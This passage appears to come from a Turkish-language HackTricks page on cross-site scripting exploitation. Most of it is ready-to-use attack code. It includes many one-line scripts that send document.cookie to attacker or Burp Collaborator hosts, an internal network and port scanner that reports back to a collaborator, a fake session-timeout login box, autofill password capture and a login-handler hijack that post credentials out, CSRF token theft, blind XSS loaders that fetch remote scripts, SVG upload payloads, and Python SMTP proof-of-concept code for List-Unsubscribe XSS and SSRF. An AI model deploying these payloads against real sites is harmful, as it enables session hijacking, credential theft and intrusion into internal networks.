<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Çerezde HTTPOnly flag set edilmişse, JavaScript’ten cookies’a erişemeyeceksiniz. Ancak yeterince şanslıysanız, burada some ways to bypass this protection mevcut.
Sayfa İçeriğini Çalma
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
İç IP adreslerini bul
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kısa süreler yanıt veren bir portu gösterir Daha uzun süreler yanıt olmadığını gösterir.
Chrome’da yasaklanan portların listesini here ve Firefox’ta here inceleyin.
Kimlik bilgileri isteyen kutu
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Otomatik doldurma parolalarının yakalanması
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
password field’e herhangi bir veri girildiğinde, username ve password attacker’ın sunucusuna gönderilir; client bir saved password seçse ve hiçbir şey yazmasa bile credentials ex-filtrated edilir.
Hijack form handlers to exfiltrate credentials (const shadowing)
Sayfada kritik bir handler (ör. function DoLogin(){...}) daha sonra deklar edilmişse ve payload’ınız daha önce çalışıyorsa (ör. via an inline JS-in-JS sink), handler’ı önden almak ve kilitlemek için aynı isimle bir const tanımlayın. Daha sonra gelen function deklarasyonları bir const ismini yeniden bağlayamaz, böylece hook’ınız kontrolü elinde tutar:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notlar
- Bu yürütme sırasına dayanır: enjeksiyonunuz meşru deklarasyondan önce çalışmalıdır.
- Eğer payload’unuz
eval(...)ile sarıldıysa,const/letbağlamaları global olmayacaktır. Gerçek bir global, yeniden bağlanamaz bağlama sağlamak için “Deliverable payloads with eval(atob()) and scope nuances” bölümündeki dinamik<script>enjeksiyon tekniğini kullanın. - Anahtar kelime filtreleri kodu engellediğinde, Unicode-escaped tanımlayıcılarla veya
eval(atob('...'))teslimatıyla birleştirin, yukarıda gösterildiği gibi.
Keylogger
Sadece github’da arama yapınca birkaç farklı tane buldum:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Ayrıca metasploit’te
http_javascript_keyloggerkullanabilirsiniz
CSRF token’larını çalma
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage mesajlarını çalmak
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script yükleyicileri (opener-gated)
Eğer bir sayfa postMessage’ten gelen event.origin’i saklayıp daha sonra bunu bir script URL’sine birleştiriyorsa, gönderici yüklenen JS’in origin’ini kontrol eder:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
İstismar tarifi (CAPIG’ten):
- Gates: yalnızca
window.openermevcut olduğunda vepixel_idallowlisted olduğunda tetiklenir; origin asla kontrol edilmez. - Use CSP-allowed origin: hedefin CSP’si tarafından zaten izin verilen bir domaine (ör. oturum kapalı yardım sayfaları analytics’e izin veriyorsa
*.THIRD-PARTY.com) pivot yapın ve takeover/XSS/upload ile/sdk/<pixel_id>/iwl.js’i orada host edin. - Restore
opener: Android WebView’da,window.name='x'; window.open(target,'x')sayfayı kendi opener’ı yapar; kötü amaçlıpostMessage’ı ele geçirilen bir iframe’den gönderin. - Trigger: iframe
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}gönderir; parent daha sonra saldırganiwl.js’i CSP-allowed origin’den yükler ve çalıştırır.
Bu, origin-less postMessage doğrulamasını, politika tarafından zaten izin verilen herhangi bir origin’e erişebilirseniz CSP’yi atlatan bir remote script loader primitive’ine dönüştürür.
Supply-chain stored XSS via backend JS concatenation
Bir backend, kullanıcı tarafından kontrol edilen değerlerle JS stringlerini birleştirerek paylaşılan bir SDK oluşturduğunda, herhangi bir quote/structure breaker script enjekte ederek bu SDK’yı alan her tüketiciye servis edilebilir:
- Örnek desen (Meta CAPIG): server doğrudan
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});satırınıcapig-events.js’e ekler. 'veya"]}enjekte etmek literal/objeyi kapatır ve saldırgan JS ekler; bu, SDK’yı alan her site (first-party ve third-party) için stored XSS yaratır.
Stored XSS in generated reports when escaping is disabled
Yüklenen dosyalar parse edilip metadata’ları HTML raporlarında escaping devre dışı (|safe, custom renderers) olarak yazdırılıyorsa, o metadata bir stored XSS sink’idir. Örnek akış:
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name # %s fed by xmlhost
Bir Django şablonu {{item|key:"title"|safe}} render ediyor, bu yüzden saldırgan HTML çalışır.
Exploit: rapora ulaşan herhangi bir manifest/config alanına entity-encoded HTML yerleştirin:
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
|safe ile renderlandığında, rapor <img ...> çıktısı verir ve görüntülendiğinde JS çalıştırır.
Hunting: %s/f-strings içinde ayrıştırılmış alanları yeniden kullanan ve auto-escape’i devre dışı bırakan report/notification builder’larını ara. Yüklenen bir manifest/log/archive içindeki tek bir kodlanmış etiket, her izleyici için XSS’in kalıcı hale gelmesini sağlar.
Abusing Service Workers
Accessing Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Ayrıca şunu kullanabilirsiniz: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Gizli İçeriğe Erişim
Bu this writeup sayesinde, bazı değerler JS’ten kaybolsa bile farklı nesnelerdeki JS özniteliklerinde hâlâ bulunabileceklerini öğrenmek mümkün. Örneğin, bir REGEX girdisi, regex girdisinin değeri kaldırıldıktan sonra bile bulunmaya devam edebilir:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force Listesi
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS ile diğer zafiyetleri kötüye kullanma
Markdown’de XSS
Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Kontrol et:
XSS’ten SSRF’ye
Bir önbellekleme kullanan site’de XSS mi buldun? Edge Side Include Injection ile bunu SSRF’ye yükseltmeyi deneyin; payload:
<esi:include src="http://yoursite.com/capture" />
Bunu cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını aşmak için kullanın!
Bu teknik hakkında daha fazla bilgi: XSLT.
Dinamik oluşturulan PDF’lerde XSS
Eğer bir web sayfası kullanıcı kontrollü girdilerle bir PDF oluşturuyorsa, PDF’yi oluşturan botu kandırarak onun rastgele JS kodu çalıştırmasını sağlamayı deneyebilirsiniz.
Yani, eğer PDF oluşturucu bot bazı HTML tag’larını bulursa, bunları yorumlayacak ve bu davranışı bir Server XSS tetiklemek için suistimal edebilirsiniz.
Eğer HTML tag’ları enjekte edemiyorsanız, PDF verisi enjekte etmeyi denemek faydalı olabilir:
Amp4Email’de XSS
AMP, mobil cihazlarda web sayfalarının performansını hızlandırmayı amaçlayarak, işlevselliği sağlamak için JavaScript ile desteklenen HTML tag’larını kullanır ve hız ile güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara AMP components üzerinden erişilebilir.
AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-posta içinden etkileşim kurmasını sağlar.
Örnek: writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Suistimali (Webmail XSS & SSRF)
RFC 2369 List-Unsubscribe header’ı, birçok webmail ve mail istemcisinin otomatik olarak “Unsubscribe” düğmelerine dönüştürdüğü, saldırgan kontrollü URI’ler gömülmesine olanak tanır. Bu URI’ler doğrulanmadan render edilip getirildiğinde, header hem stored XSS (unsubscribe link DOM’a yerleştirilirse) hem de SSRF (sunucu kullanıcının adına unsubscribe isteğini yaparsa) için bir injection noktası haline gelir.
Stored XSS via javascript: URIs
- Kendinize, header’ın bir
javascript:URI’sine işaret ettiği bir e-posta gönderin; mesajın geri kalanını spam filtrelerinin silmemesi için zararsız tutun. - UI’nin değeri render edip etmediğini kontrol edin (birçok istemci bunu “List Info” panelinde gösterir) ve ortaya çıkan
<a>etiketininhrefveyatargetgibi saldırgan kontrollü attributeleri devralıp devralmadığını kontrol edin. - Link
target="_blank"kullanıyorsa, yürütmeyi tetikleyin (ör. CTRL+click, orta tuş tıklaması veya “open in new tab”); tarayıcılar sağlanan JavaScript’i webmail uygulamasının origin’inde değerlendirecektir. - Stored-XSS primitifini gözlemleyin: payload e-postayla birlikte kalır ve çalışması için sadece bir tıklama gerekir.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
URI’deki yeni satır baytı (%0a), Horde IMP H5 gibi savunmasız istemcilerde alışılmadık karakterlerin bile render hattından geçip korunabildiğini gösterir; bu istemciler a etiketi içinde dizeyi birebir çıktı olarak verir.
Minimal SMTP PoC — kötü amaçlı bir List-Unsubscribe başlığı gönderen
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Sunucu tarafı abonelikten çıkma proxy'leri -> SSRF
Birkaç istemci, örneğin Nextcloud Mail uygulaması, abonelikten çıkma eylemini sunucu tarafında proxy'ler: düğmeye tıklamak, sunucunun sağlanan URL'yi kendi başına almasını sağlar. Bu, header'ı bir SSRF primitive'ine dönüştürür; özellikle yöneticiler 'allow_local_remote_servers' => true olarak ayarladığında (belgelenmiştir: [HackerOne report 2902856](https://hackerone.com/reports/2902856)), loopback ve RFC1918 aralıklarına istek yapılmasına izin verir.
1. **Bir e-posta hazırlayın**; `List-Unsubscribe` saldırgan-kontrolündeki bir endpoint'i hedeflesin (blind SSRF için Burp Collaborator / OAST kullanın).
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click`'i koruyun**; böylece UI tek tıklamayla abonelik iptali düğmesini gösterir.
3. **Güven gereksinimlerini karşılayın**: Örneğin Nextcloud, mesaj DKIM'i geçtiğinde yalnızca HTTPS unsubscribe isteklerini gerçekleştirir; bu yüzden saldırgan e-postayı kontrol ettikleri bir alan adıyla imzalamalıdır.
4. **Mesajı hedef sunucu tarafından işlenen bir posta kutusuna teslim edin** ve bir kullanıcı abonelik iptali düğmesine tıklayana kadar bekleyin.
5. **Sunucu tarafı callback'ini gözlemleyin** collaborator endpoint'inde, ardından primitive doğrulandığında iç adreslere pivot yapın.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
SSRF testi için DKIM-imzalı List-Unsubscribe mesajı
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Test notları**
- Bir OAST endpoint'i kullanarak blind SSRF isteklerini toplayın; primitive doğrulandıktan sonra `List-Unsubscribe` URL'sini `http://127.0.0.1:PORT`, metadata servisleri veya diğer dahili hostlara hedefleyecek şekilde uyarlayın.
- Çünkü unsubscribe helper genellikle uygulama ile aynı HTTP stack'ini tekrar kullandığından, onun proxy ayarlarını, HTTP verbs ve header rewrites'lerini devralırsınız; bu da [SSRF methodology](../ssrf-server-side-request-forgery/README.md) içinde anlatılan ek traversal hilelerini mümkün kılar.
### XSS dosya yükleme (svg)
Aşağıdaki gibi bir dosyayı resim olarak yükleyin (kaynak: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Daha fazla SVG payloads için şuraya bak: https://github.com/allanlw/svg-cheatsheet
Çeşitli JS Tricks & İlgili Bilgiler
Misc JS Tricks & Relevant Info
XSS kaynakları
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referanslar
- Turning a harmless XSS behind a WAF into a realistic phishing vector — WAF arkasındaki zararsız bir XSS’i gerçekçi bir phishing vektörüne dönüştürmek
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail — Horde Webmail ve Nextcloud Mail’de List-Unsubscribe SMTP Başlığı üzerinden XSS ve SSRF
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF — HackerOne Raporu #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough — “Düşük Etkili” RXSS’den Credential Stealer’a: JS-in-JS İncelemesi
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS — CAPIG XSS: postMessage kaynak güveni script loader’a dönüşüyor + backend JS birleştirmesi supply-chain stored XSS’e izin veriyor
- MobSF stored XSS via manifest analysis (unsafe Django safe sink) — MobSF manifest analizi aracılığıyla stored XSS (güvenli olmayan Django safe sink)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


